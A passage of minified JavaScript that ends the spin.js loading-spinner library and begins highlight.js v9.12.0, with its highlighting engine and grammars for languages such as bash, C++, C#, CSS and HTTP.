e=[\"opacity\",b,~~(100*a),c,d].join(\"-\"),f=.01+c/d*100,g=Math.max(1-(1-a)/b*(100-f),a),h=j.substring(0,j.indexOf(\"Animation\")).toLowerCase(),i=h&&\"-\"+h+\"-\"||\"\";return m[e]||(k.insertRule(\"@\"+i+\"keyframes \"+e+\"{0%{opacity:\"+g+\"}\"+f+\"%{opacity:\"+a+\"}\"+(f+.01)+\"%{opacity:1}\"+(f+b)%100+\"%{opacity:\"+a+\"}100%{opacity:\"+g+\"}}\",k.cssRules.length),m[e]=1),e}function d(a,b){var c,d,e=a.style;if(b=b.charAt(0).toUpperCase()+b.slice(1),void 0!==e[b])return b;for(d=0;d<l.length;d++)if(c=l[d]+b,void 0!==e[c])return c}function e(a,b){for(var c in b)a.style[d(a,c)||c]=b[c];return a}function f(a){for(var b=1;b<arguments.length;b++){var c=arguments[b];for(var d in c)void 0===a[d]&&(a[d]=c[d])}return a}function g(a,b){return\"string\"==typeof a?a:a[b%a.length]}function h(a){this.opts=f(a||{},h.defaults,n)}function i(){function c(b,c){return a(\"<\"+b+' xmlns=\"urn:schemas-microsoft.com:vml\" class=\"spin-vml\">',c)}k.addRule(\".spin-vml\",\"behavior:url(#default#VML)\"),h.prototype.lines=function(a,d){function f(){return e(c(\"group\",{coordsize:k+\" \"+k,coordorigin:-j+\" \"+-j}),{width:k,height:k})}function h(a,h,i){b(m,b(e(f(),{rotation:360/d.lines*a+\"deg\",left:~~h}),b(e(c(\"roundrect\",{arcsize:d.corners}),{width:j,height:d.scale*d.width,left:d.scale*d.radius,top:-d.scale*d.width>>1,filter:i}),c(\"fill\",{color:g(d.color,a),opacity:d.opacity}),c(\"stroke\",{opacity:0}))))}var i,j=d.scale*(d.length+d.width),k=2*d.scale*j,l=-(d.width+d.length)*d.scale*2+\"px\",m=e(f(),{position:\"absolute\",top:l,left:l});if(d.shadow)for(i=1;i<=d.lines;i++)h(i,-2,\"progid:DXImageTransform.Microsoft.Blur(pixelradius=2,makeshadow=1,shadowopacity=.3)\");for(i=1;i<=d.lines;i++)h(i);return b(a,m)},h.prototype.opacity=function(a,b,c,d){var e=a.firstChild;d=d.shadow&&d.lines||0,e&&b+d<e.childNodes.length&&(e=e.childNodes[b+d],e=e&&e.firstChild,e=e&&e.firstChild,e&&(e.opacity=c))}}var j,k,l=[\"webkit\",\"Moz\",\"ms\",\"O\"],m={},n={lines:12,length:7,width:5,radius:10,scale:1,corners:1,color:\"#000\",opacity:.25,rotate:0,direction:1,speed:1,trail:100,fps:20,zIndex:2e9,className:\"spinner\",top:\"50%\",left:\"50%\",shadow:!1,hwaccel:!1,position:\"absolute\"};if(h.defaults={},f(h.prototype,{spin:function(b){this.stop();var c=this,d=c.opts,f=c.el=a(null,{className:d.className});if(e(f,{position:d.position,width:0,zIndex:d.zIndex,left:d.left,top:d.top}),b&&b.insertBefore(f,b.firstChild||null),f.setAttribute(\"role\",\"progressbar\"),c.lines(f,c.opts),!j){var g,h=0,i=(d.lines-1)*(1-d.direction)/2,k=d.fps,l=k/d.speed,m=(1-d.opacity)/(l*d.trail/100),n=l/d.lines;!function o(){h++;for(var a=0;a<d.lines;a++)g=Math.max(1-(h+(d.lines-a)*n)%l*m,d.opacity),c.opacity(f,a*d.direction+i,g,d);c.timeout=c.el&&setTimeout(o,~~(1e3/k))}()}return c},stop:function(){var a=this.el;return a&&(clearTimeout(this.timeout),a.parentNode&&a.parentNode.removeChild(a),this.el=void 0),this},lines:function(d,f){function h(b,c){return e(a(),{position:\"absolute\",width:f.scale*(f.length+f.width)+\"px\",height:f.scale*f.width+\"px\",background:b,boxShadow:c,transformOrigin:\"left\",transform:\"rotate(\"+~~(360/f.lines*k+f.rotate)+\"deg) translate(\"+f.scale*f.radius+\"px,0)\",borderRadius:(f.corners*f.scale*f.width>>1)+\"px\"})}for(var i,k=0,l=(f.lines-1)*(1-f.direction)/2;k<f.lines;k++)i=e(a(),{position:\"absolute\",top:1+~(f.scale*f.width/2)+\"px\",transform:f.hwaccel?\"translate3d(0,0,0)\":\"\",opacity:f.opacity,animation:j&&c(f.opacity,f.trail,l+k*f.direction,f.lines)+\" \"+1/f.speed+\"s linear infinite\"}),f.shadow&&b(i,e(h(\"#000\",\"0 0 4px #000\"),{top:\"2px\"})),b(d,b(i,h(g(f.color,k),\"0 0 1px rgba(0,0,0,.1)\")));return d},opacity:function(a,b,c){b<a.childNodes.length&&(a.childNodes[b].style.opacity=c)}}),\"undefined\"!=typeof document){k=function(){var c=a(\"style\",{type:\"text/css\"});return b(document.getElementsByTagName(\"head\")[0],c),c.sheet||c.styleSheet}();var o=e(a(\"group\"),{behavior:\"url(#default#VML)\"});!d(o,\"transform\")&&o.adj?i():j=d(o,\"animation\")}return h});\n/*! highlight.js v9.12.0 | BSD3 License | git.io/hljslicense */\n!function(e){var t=\"object\"==typeof window&&window||\"object\"==typeof self&&self;\"undefined\"!=typeof exports?e(exports):t&&(t.hljs=e({}),\"function\"==typeof define&&define.amd&&define([],function(){return t.hljs}))}(function(e){function t(e){return e.replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\")}function r(e){return e.nodeName.toLowerCase()}function a(e,t){var r=e&&e.exec(t);return r&&0===r.index}function n(e){return E.test(e)}function i(e){var t,r,a,i,s=e.className+\" \";if(s+=e.parentNode?e.parentNode.className:\"\",r=M.exec(s))return w(r[1])?r[1]:\"no-highlight\";for(s=s.split(/\\s+/),t=0,a=s.length;a>t;t++)if(i=s[t],n(i)||w(i))return i}function s(e){var t,r={},a=Array.prototype.slice.call(arguments,1);for(t in e)r[t]=e[t];return a.forEach(function(e){for(t in e)r[t]=e[t]}),r}function c(e){var t=[];return function a(e,n){for(var i=e.firstChild;i;i=i.nextSibling)3===i.nodeType?n+=i.nodeValue.length:1===i.nodeType&&(t.push({event:\"start\",offset:n,node:i}),n=a(i,n),r(i).match(/br|hr|img|input/)||t.push({event:\"stop\",offset:n,node:i}));return n}(e,0),t}function o(e,a,n){function i(){return e.length&&a.length?e[0].offset!==a[0].offset?e[0].offset<a[0].offset?e:a:\"start\"===a[0].event?e:a:e.length?e:a}function s(e){function a(e){return\" \"+e.nodeName+'=\"'+t(e.value).replace('\"',\"&quot;\")+'\"'}u+=\"<\"+r(e)+N.map.call(e.attributes,a).join(\"\")+\">\"}function c(e){u+=\"</\"+r(e)+\">\"}function o(e){(\"start\"===e.event?s:c)(e.node)}for(var l=0,u=\"\",d=[];e.length||a.length;){var b=i();if(u+=t(n.substring(l,b[0].offset)),l=b[0].offset,b===e){d.reverse().forEach(c);do o(b.splice(0,1)[0]),b=i();while(b===e&&b.length&&b[0].offset===l);d.reverse().forEach(s)}else\"start\"===b[0].event?d.push(b[0].node):d.pop(),o(b.splice(0,1)[0])}return u+t(n.substr(l))}function l(e){return e.v&&!e.cached_variants&&(e.cached_variants=e.v.map(function(t){return s(e,{v:null},t)})),e.cached_variants||e.eW&&[s(e)]||[e]}function u(e){function t(e){return e&&e.source||e}function r(r,a){return new RegExp(t(r),\"m\"+(e.cI?\"i\":\"\")+(a?\"g\":\"\"))}function a(n,i){if(!n.compiled){if(n.compiled=!0,n.k=n.k||n.bK,n.k){var s={},c=function(t,r){e.cI&&(r=r.toLowerCase()),r.split(\" \").forEach(function(e){var r=e.split(\"|\");s[r[0]]=[t,r[1]?Number(r[1]):1]})};\"string\"==typeof n.k?c(\"keyword\",n.k):k(n.k).forEach(function(e){c(e,n.k[e])}),n.k=s}n.lR=r(n.l||/\\w+/,!0),i&&(n.bK&&(n.b=\"\\\\b(\"+n.bK.split(\" \").join(\"|\")+\")\\\\b\"),n.b||(n.b=/\\B|\\b/),n.bR=r(n.b),n.e||n.eW||(n.e=/\\B|\\b/),n.e&&(n.eR=r(n.e)),n.tE=t(n.e)||\"\",n.eW&&i.tE&&(n.tE+=(n.e?\"|\":\"\")+i.tE)),n.i&&(n.iR=r(n.i)),null==n.r&&(n.r=1),n.c||(n.c=[]),n.c=Array.prototype.concat.apply([],n.c.map(function(e){return l(\"self\"===e?n:e)})),n.c.forEach(function(e){a(e,n)}),n.starts&&a(n.starts,i);var o=n.c.map(function(e){return e.bK?\"\\\\.?(\"+e.b+\")\\\\.?\":e.b}).concat([n.tE,n.i]).map(t).filter(Boolean);n.t=o.length?r(o.join(\"|\"),!0):{exec:function(){return null}}}}a(e)}function d(e,r,n,i){function s(e,t){var r,n;for(r=0,n=t.c.length;n>r;r++)if(a(t.c[r].bR,e))return t.c[r]}function c(e,t){if(a(e.eR,t)){for(;e.endsParent&&e.parent;)e=e.parent;return e}return e.eW?c(e.parent,t):void 0}function o(e,t){return!n&&a(t.iR,e)}function l(e,t){var r=v.cI?t[0].toLowerCase():t[0];return e.k.hasOwnProperty(r)&&e.k[r]}function p(e,t,r,a){var n=a?\"\":L.classPrefix,i='<span class=\"'+n,s=r?\"\":R;return i+=e+'\">',i+t+s}function m(){var e,r,a,n;if(!N.k)return t(E);for(n=\"\",r=0,N.lR.lastIndex=0,a=N.lR.exec(E);a;)n+=t(E.substring(r,a.index)),e=l(N,a),e?(M+=e[1],n+=p(e[0],t(a[0]))):n+=t(a[0]),r=N.lR.lastIndex,a=N.lR.exec(E);return n+t(E.substr(r))}function f(){var e=\"string\"==typeof N.sL;if(e&&!x[N.sL])return t(E);var r=e?d(N.sL,E,!0,k[N.sL]):b(E,N.sL.length?N.sL:void 0);return N.r>0&&(M+=r.r),e&&(k[N.sL]=r.top),p(r.language,r.value,!1,!0)}function g(){C+=null!=N.sL?f():m(),E=\"\"}function _(e){C+=e.cN?p(e.cN,\"\",!0):\"\",N=Object.create(e,{parent:{value:N}})}function h(e,t){if(E+=e,null==t)return g(),0;var r=s(t,N);if(r)return r.skip?E+=t:(r.eB&&(E+=t),g(),r.rB||r.eB||(E=t)),_(r,t),r.rB?0:t.length;var a=c(N,t);if(a){var n=N;n.skip?E+=t:(n.rE||n.eE||(E+=t),g(),n.eE&&(E=t));do N.cN&&(C+=R),N.skip||(M+=N.r),N=N.parent;while(N!==a.parent);return a.starts&&_(a.starts,\"\"),n.rE?0:t.length}if(o(t,N))throw new Error('Illegal lexeme \"'+t+'\" for mode \"'+(N.cN||\"<unnamed>\")+'\"');return E+=t,t.length||1}var v=w(e);if(!v)throw new Error('Unknown language: \"'+e+'\"');u(v);var y,N=i||v,k={},C=\"\";for(y=N;y!==v;y=y.parent)y.cN&&(C=p(y.cN,\"\",!0)+C);var E=\"\",M=0;try{for(var B,S,$=0;;){if(N.t.lastIndex=$,B=N.t.exec(r),!B)break;S=h(r.substring($,B.index),B[0]),$=B.index+S}for(h(r.substr($)),y=N;y.parent;y=y.parent)y.cN&&(C+=R);return{r:M,value:C,language:e,top:N}}catch(A){if(A.message&&-1!==A.message.indexOf(\"Illegal\"))return{r:0,value:t(r)};throw A}}function b(e,r){r=r||L.languages||k(x);var a={r:0,value:t(e)},n=a;return r.filter(w).forEach(function(t){var r=d(t,e,!1);r.language=t,r.r>n.r&&(n=r),r.r>a.r&&(n=a,a=r)}),n.language&&(a.second_best=n),a}function p(e){return L.tabReplace||L.useBR?e.replace(B,function(e,t){return L.useBR&&\"\\n\"===e?\"<br>\":L.tabReplace?t.replace(/\\t/g,L.tabReplace):\"\"}):e}function m(e,t,r){var a=t?C[t]:r,n=[e.trim()];return e.match(/\\bhljs\\b/)||n.push(\"hljs\"),-1===e.indexOf(a)&&n.push(a),n.join(\" \").trim()}function f(e){var t,r,a,s,l,u=i(e);n(u)||(L.useBR?(t=document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"div\"),t.innerHTML=e.innerHTML.replace(/\\n/g,\"\").replace(/<br[ \\/]*>/g,\"\\n\")):t=e,l=t.textContent,a=u?d(u,l,!0):b(l),r=c(t),r.length&&(s=document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"div\"),s.innerHTML=a.value,a.value=o(r,c(s),l)),a.value=p(a.value),e.innerHTML=a.value,e.className=m(e.className,u,a.language),e.result={language:a.language,re:a.r},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.r}))}function g(e){L=s(L,e)}function _(){if(!_.called){_.called=!0;var e=document.querySelectorAll(\"pre code\");N.forEach.call(e,f)}}function h(){addEventListener(\"DOMContentLoaded\",_,!1),addEventListener(\"load\",_,!1)}function v(t,r){var a=x[t]=r(e);a.aliases&&a.aliases.forEach(function(e){C[e]=t})}function y(){return k(x)}function w(e){return e=(e||\"\").toLowerCase(),x[e]||x[C[e]]}var N=[],k=Object.keys,x={},C={},E=/^(no-?highlight|plain|text)$/i,M=/\\blang(?:uage)?-([\\w-]+)\\b/i,B=/((^(<[^>]+>|\\t|)+|(?:\\n)))/gm,R=\"</span>\",L={classPrefix:\"hljs-\",tabReplace:null,useBR:!1,languages:void 0};return e.highlight=d,e.highlightAuto=b,e.fixMarkup=p,e.highlightBlock=f,e.configure=g,e.initHighlighting=_,e.initHighlightingOnLoad=h,e.registerLanguage=v,e.listLanguages=y,e.getLanguage=w,e.inherit=s,e.IR=\"[a-zA-Z]\\\\w*\",e.UIR=\"[a-zA-Z_]\\\\w*\",e.NR=\"\\\\b\\\\d+(\\\\.\\\\d+)?\",e.CNR=\"(-?)(\\\\b0[xX][a-fA-F0-9]+|(\\\\b\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)([eE][-+]?\\\\d+)?)\",e.BNR=\"\\\\b(0b[01]+)\",e.RSR=\"!|!=|!==|%|%=|&|&&|&=|\\\\*|\\\\*=|\\\\+|\\\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\\\?|\\\\[|\\\\{|\\\\(|\\\\^|\\\\^=|\\\\||\\\\|=|\\\\|\\\\||~\",e.BE={b:\"\\\\\\\\[\\\\s\\\\S]\",r:0},e.ASM={cN:\"string\",b:\"'\",e:\"'\",i:\"\\\\n\",c:[e.BE]},e.QSM={cN:\"string\",b:'\"',e:'\"',i:\"\\\\n\",c:[e.BE]},e.PWM={b:/\\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\\b/},e.C=function(t,r,a){var n=e.inherit({cN:\"comment\",b:t,e:r,c:[]},a||{});return n.c.push(e.PWM),n.c.push({cN:\"doctag\",b:\"(?:TODO|FIXME|NOTE|BUG|XXX):\",r:0}),n},e.CLCM=e.C(\"//\",\"$\"),e.CBCM=e.C(\"/\\\\*\",\"\\\\*/\"),e.HCM=e.C(\"#\",\"$\"),e.NM={cN:\"number\",b:e.NR,r:0},e.CNM={cN:\"number\",b:e.CNR,r:0},e.BNM={cN:\"number\",b:e.BNR,r:0},e.CSSNM={cN:\"number\",b:e.NR+\"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?\",r:0},e.RM={cN:\"regexp\",b:/\\//,e:/\\/[gimuy]*/,i:/\\n/,c:[e.BE,{b:/\\[/,e:/\\]/,r:0,c:[e.BE]}]},e.TM={cN:\"title\",b:e.IR,r:0},e.UTM={cN:\"title\",b:e.UIR,r:0},e.METHOD_GUARD={b:\"\\\\.\\\\s*\"+e.UIR,r:0},e.registerLanguage(\"apache\",function(e){var t={cN:\"number\",b:\"[\\\\$%]\\\\d+\"};return{aliases:[\"apacheconf\"],cI:!0,c:[e.HCM,{cN:\"section\",b:\"</?\",e:\">\"},{cN:\"attribute\",b:/\\w+/,r:0,k:{nomarkup:\"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername\"},starts:{e:/$/,r:0,k:{literal:\"on off all\"},c:[{cN:\"meta\",b:\"\\\\s\\\\[\",e:\"\\\\]$\"},{cN:\"variable\",b:\"[\\\\$%]\\\\{\",e:\"\\\\}\",c:[\"self\",t]},t,e.QSM]}}],i:/\\S/}}),e.registerLanguage(\"bash\",function(e){var t={cN:\"variable\",v:[{b:/\\$[\\w\\d#@][\\w\\d_]*/},{b:/\\$\\{(.*?)}/}]},r={cN:\"string\",b:/\"/,e:/\"/,c:[e.BE,t,{cN:\"variable\",b:/\\$\\(/,e:/\\)/,c:[e.BE]}]},a={cN:\"string\",b:/'/,e:/'/};return{aliases:[\"sh\",\"zsh\"],l:/\\b-?[a-z\\._]+\\b/,k:{keyword:\"if then else elif fi for while in do done case esac function\",literal:\"true false\",built_in:\"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp\",_:\"-ne -eq -lt -gt -f -d -e -s -l -a\"},c:[{cN:\"meta\",b:/^#![^\\n]+sh\\s*$/,r:10},{cN:\"function\",b:/\\w[\\w\\d_]*\\s*\\(\\s*\\)\\s*\\{/,rB:!0,c:[e.inherit(e.TM,{b:/\\w[\\w\\d_]*/})],r:0},e.HCM,r,a,t]}}),e.registerLanguage(\"coffeescript\",function(e){var t={keyword:\"in if for while finally new do return else break catch instanceof throw try this switch continue typeof delete debugger super yield import export from as default await then unless until loop of by when and or is isnt not\",literal:\"true false null undefined yes no on off\",built_in:\"npm require console print module global window document\"},r=\"[A-Za-z$_][0-9A-Za-z$_]*\",a={cN:\"subst\",b:/#\\{/,e:/}/,k:t},n=[e.BNM,e.inherit(e.CNM,{starts:{e:\"(\\\\s*/)?\",r:0}}),{cN:\"string\",v:[{b:/'''/,e:/'''/,c:[e.BE]},{b:/'/,e:/'/,c:[e.BE]},{b:/\"\"\"/,e:/\"\"\"/,c:[e.BE,a]},{b:/\"/,e:/\"/,c:[e.BE,a]}]},{cN:\"regexp\",v:[{b:\"///\",e:\"///\",c:[a,e.HCM]},{b:\"//[gim]*\",r:0},{b:/\\/(?![ *])(\\\\\\/|.)*?\\/[gim]*(?=\\W|$)/}]},{b:\"@\"+r},{sL:\"javascript\",eB:!0,eE:!0,v:[{b:\"```\",e:\"```\"},{b:\"`\",e:\"`\"}]}];a.c=n;var i=e.inherit(e.TM,{b:r}),s=\"(\\\\(.*\\\\))?\\\\s*\\\\B[-=]>\",c={cN:\"params\",b:\"\\\\([^\\\\(]\",rB:!0,c:[{b:/\\(/,e:/\\)/,k:t,c:[\"self\"].concat(n)}]};return{aliases:[\"coffee\",\"cson\",\"iced\"],k:t,i:/\\/\\*/,c:n.concat([e.C(\"###\",\"###\"),e.HCM,{cN:\"function\",b:\"^\\\\s*\"+r+\"\\\\s*=\\\\s*\"+s,e:\"[-=]>\",rB:!0,c:[i,c]},{b:/[:\\(,=]\\s*/,r:0,c:[{cN:\"function\",b:s,e:\"[-=]>\",rB:!0,c:[c]}]},{cN:\"class\",bK:\"class\",e:\"$\",i:/[:=\"\\[\\]]/,c:[{bK:\"extends\",eW:!0,i:/[:=\"\\[\\]]/,c:[i]},i]},{b:r+\":\",e:\":\",rB:!0,rE:!0,r:0}])}}),e.registerLanguage(\"cpp\",function(e){var t={cN:\"keyword\",b:\"\\\\b[a-z\\\\d_]*_t\\\\b\"},r={cN:\"string\",v:[{b:'(u8?|U)?L?\"',e:'\"',i:\"\\\\n\",c:[e.BE]},{b:'(u8?|U)?R\"',e:'\"',c:[e.BE]},{b:\"'\\\\\\\\?.\",e:\"'\",i:\".\"}]},a={cN:\"number\",v:[{b:\"\\\\b(0b[01']+)\"},{b:\"(-?)\\\\b([\\\\d']+(\\\\.[\\\\d']*)?|\\\\.[\\\\d']+)(u|U|l|L|ul|UL|f|F|b|B)\"},{b:\"(-?)(\\\\b0[xX][a-fA-F0-9']+|(\\\\b[\\\\d']+(\\\\.[\\\\d']*)?|\\\\.[\\\\d']+)([eE][-+]?[\\\\d']+)?)\"}],r:0},n={cN:\"meta\",b:/#\\s*[a-z]+\\b/,e:/$/,k:{\"meta-keyword\":\"if else elif endif define undef warning error line pragma ifdef ifndef include\"},c:[{b:/\\\\\\n/,r:0},e.inherit(r,{cN:\"meta-string\"}),{cN:\"meta-string\",b:/<[^\\n>]*>/,e:/$/,i:\"\\\\n\"},e.CLCM,e.CBCM]},i=e.IR+\"\\\\s*\\\\(\",s={keyword:\"int float while private char catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and or not\",built_in:\"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr\",literal:\"true false nullptr NULL\"},c=[t,e.CLCM,e.CBCM,a,r];return{aliases:[\"c\",\"cc\",\"h\",\"c++\",\"h++\",\"hpp\"],k:s,i:\"</\",c:c.concat([n,{b:\"\\\\b(deque|list|queue|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\\\s*<\",e:\">\",k:s,c:[\"self\",t]},{b:e.IR+\"::\",k:s},{v:[{b:/=/,e:/;/},{b:/\\(/,e:/\\)/},{bK:\"new throw return else\",e:/;/}],k:s,c:c.concat([{b:/\\(/,e:/\\)/,k:s,c:c.concat([\"self\"]),r:0}]),r:0},{cN:\"function\",b:\"(\"+e.IR+\"[\\\\*&\\\\s]+)+\"+i,rB:!0,e:/[{;=]/,eE:!0,k:s,i:/[^\\w\\s\\*&]/,c:[{b:i,rB:!0,c:[e.TM],r:0},{cN:\"params\",b:/\\(/,e:/\\)/,k:s,r:0,c:[e.CLCM,e.CBCM,r,a,t]},e.CLCM,e.CBCM,n]},{cN:\"class\",bK:\"class struct\",e:/[{;:]/,c:[{b:/</,e:/>/,c:[\"self\"]},e.TM]}]),exports:{preprocessor:n,strings:r,k:s}}}),e.registerLanguage(\"cs\",function(e){var t={keyword:\"abstract as base bool break byte case catch char checked const continue decimal default delegate do double enum event explicit extern finally fixed float for foreach goto if implicit in int interface internal is lock long nameof object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this try typeof uint ulong unchecked unsafe ushort using virtual void volatile while add alias ascending async await by descending dynamic equals from get global group into join let on orderby partial remove select set value var where yield\",literal:\"null false true\"},r={cN:\"string\",b:'@\"',e:'\"',c:[{b:'\"\"'}]},a=e.inherit(r,{i:/\\n/}),n={cN:\"subst\",b:\"{\",e:\"}\",k:t},i=e.inherit(n,{i:/\\n/}),s={cN:\"string\",b:/\\$\"/,e:'\"',i:/\\n/,c:[{b:\"{{\"},{b:\"}}\"},e.BE,i]},c={cN:\"string\",b:/\\$@\"/,e:'\"',c:[{b:\"{{\"},{b:\"}}\"},{b:'\"\"'},n]},o=e.inherit(c,{i:/\\n/,c:[{b:\"{{\"},{b:\"}}\"},{b:'\"\"'},i]});n.c=[c,s,r,e.ASM,e.QSM,e.CNM,e.CBCM],i.c=[o,s,a,e.ASM,e.QSM,e.CNM,e.inherit(e.CBCM,{i:/\\n/})];var l={v:[c,s,r,e.ASM,e.QSM]},u=e.IR+\"(<\"+e.IR+\"(\\\\s*,\\\\s*\"+e.IR+\")*>)?(\\\\[\\\\])?\";return{aliases:[\"csharp\"],k:t,i:/::/,c:[e.C(\"///\",\"$\",{rB:!0,c:[{cN:\"doctag\",v:[{b:\"///\",r:0},{b:\"<!--|-->\"},{b:\"</?\",e:\">\"}]}]}),e.CLCM,e.CBCM,{cN:\"meta\",b:\"#\",e:\"$\",k:{\"meta-keyword\":\"if else elif endif define undef warning error line region endregion pragma checksum\"}},l,e.CNM,{bK:\"class interface\",e:/[{;=]/,i:/[^\\s:]/,c:[e.TM,e.CLCM,e.CBCM]},{bK:\"namespace\",e:/[{;=]/,i:/[^\\s:]/,c:[e.inherit(e.TM,{b:\"[a-zA-Z](\\\\.?\\\\w)*\"}),e.CLCM,e.CBCM]},{cN:\"meta\",b:\"^\\\\s*\\\\[\",eB:!0,e:\"\\\\]\",eE:!0,c:[{cN:\"meta-string\",b:/\"/,e:/\"/}]},{bK:\"new return throw await else\",r:0},{cN:\"function\",b:\"(\"+u+\"\\\\s+)+\"+e.IR+\"\\\\s*\\\\(\",rB:!0,e:/[{;=]/,eE:!0,k:t,c:[{b:e.IR+\"\\\\s*\\\\(\",rB:!0,c:[e.TM],r:0},{cN:\"params\",b:/\\(/,e:/\\)/,eB:!0,eE:!0,k:t,r:0,c:[l,e.CNM,e.CBCM]},e.CLCM,e.CBCM]}]}}),e.registerLanguage(\"css\",function(e){var t=\"[a-zA-Z-][a-zA-Z0-9_-]*\",r={b:/[A-Z\\_\\.\\-]+\\s*:/,rB:!0,e:\";\",eW:!0,c:[{cN:\"attribute\",b:/\\S/,e:\":\",eE:!0,starts:{eW:!0,eE:!0,c:[{b:/[\\w-]+\\(/,rB:!0,c:[{cN:\"built_in\",b:/[\\w-]+/},{b:/\\(/,e:/\\)/,c:[e.ASM,e.QSM]}]},e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:\"number\",b:\"#[0-9A-Fa-f]+\"},{cN:\"meta\",b:\"!important\"}]}}]};return{cI:!0,i:/[=\\/|'\\$]/,c:[e.CBCM,{cN:\"selector-id\",b:/#[A-Za-z0-9_-]+/},{cN:\"selector-class\",b:/\\.[A-Za-z0-9_-]+/},{cN:\"selector-attr\",b:/\\[/,e:/\\]/,i:\"$\"},{cN:\"selector-pseudo\",b:/:(:)?[a-zA-Z0-9\\_\\-\\+\\(\\)\"'.]+/},{b:\"@(font-face|page)\",l:\"[a-z-]+\",k:\"font-face page\"},{b:\"@\",e:\"[{;]\",i:/:/,c:[{cN:\"keyword\",b:/\\w+/},{b:/\\s/,eW:!0,eE:!0,r:0,c:[e.ASM,e.QSM,e.CSSNM]}]},{cN:\"selector-tag\",b:t,r:0},{b:\"{\",e:\"}\",i:/\\S/,c:[e.CBCM,r]}]}}),e.registerLanguage(\"diff\",function(e){return{aliases:[\"patch\"],c:[{cN:\"meta\",r:10,v:[{b:/^@@ +\\-\\d+,\\d+ +\\+\\d+,\\d+ +@@$/},{b:/^\\*\\*\\* +\\d+,\\d+ +\\*\\*\\*\\*$/},{b:/^\\-\\-\\- +\\d+,\\d+ +\\-\\-\\-\\-$/}]},{cN:\"comment\",v:[{b:/Index: /,e:/$/},{b:/={3,}/,e:/$/},{b:/^\\-{3}/,e:/$/},{b:/^\\*{3} /,e:/$/},{b:/^\\+{3}/,e:/$/},{b:/\\*{5}/,e:/\\*{5}$/}]},{cN:\"addition\",b:\"^\\\\+\",e:\"$\"},{cN:\"deletion\",b:\"^\\\\-\",e:\"$\"},{cN:\"addition\",b:\"^\\\\!\",e:\"$\"}]}}),e.registerLanguage(\"http\",function(e){var t=\"HTTP/[0-9\\\\.]+\";return{aliases:[\"https\"],i:\"\\\\S\",c:[{b:\"^\"+t,e:\"$\",c:[{cN:\"number\",b:\"\\\\b\\\\d{3}\\\\b\"}]},{b:\"^[A-Z]+ (.*?) \"+t+\"$\",rB:!0,e:\"$\",c:[{cN:\"string\",b:\" \",e:\" \",eB:!0,eE:!0},{b:t},{cN:\"keyword\",b:\"[A-Z]+\"}]},{cN:\"attribute\",b:\"^\\\\w\",e:\": \",eE:!0,i:\"\\\\n|\\\\s|=\",starts:{e:\"$\",r:0}},{b:\"\\\\n\\\\n\",starts:{sL:[],eW:!0}}]}}),e.registerLanguage(\"ini\",function(e){var t={cN:\"string\",c:[e.BE],v:[{b:\"'''\",e:\"'''\",r:10},{b:'\"\"\"',e:'\"\"\"',r:10},{b:'\"',e:'\"'},{b:\"'\",e:\"'\"}]};return{aliases:[\"toml\"],cI:!0,i:/\\S/,c:[e.C(\";\",\"$\"),e.HCM,{cN:\"section\",b:/^\\s*\\[+/,e:/\\]+/},{b:/^[a-z0-9\\[\\]_-]+\\s*=\\s*/,e:\"$\",rB:!0,c:[{cN:\"attr\",b:/[a-z0-9\\[\\]_-]+/},{b:/=/,eW:!0,r:0,c:[{cN:\"literal\",b:/\\bon|off|true|false|yes|no\\b/},{cN:\"variable\",v:[{b:/\\$[\\w\\d\"][\\w\\d_]*/},{b:/\\$\\{(.*?)}/}]},t,{cN:\"number\",b:/([\\+\\-]+)?[\\d]+_[\\d_]+/},e.NM]}]}]}}),e.registerLanguage(\"java\",function(e){var t=\"[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*\",r=t+\"(<\"+t+\"(\\\\s*,\\\\s*\"+t+\")*>)?\",a=\"false synchronized int abstract float private char boolean static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports 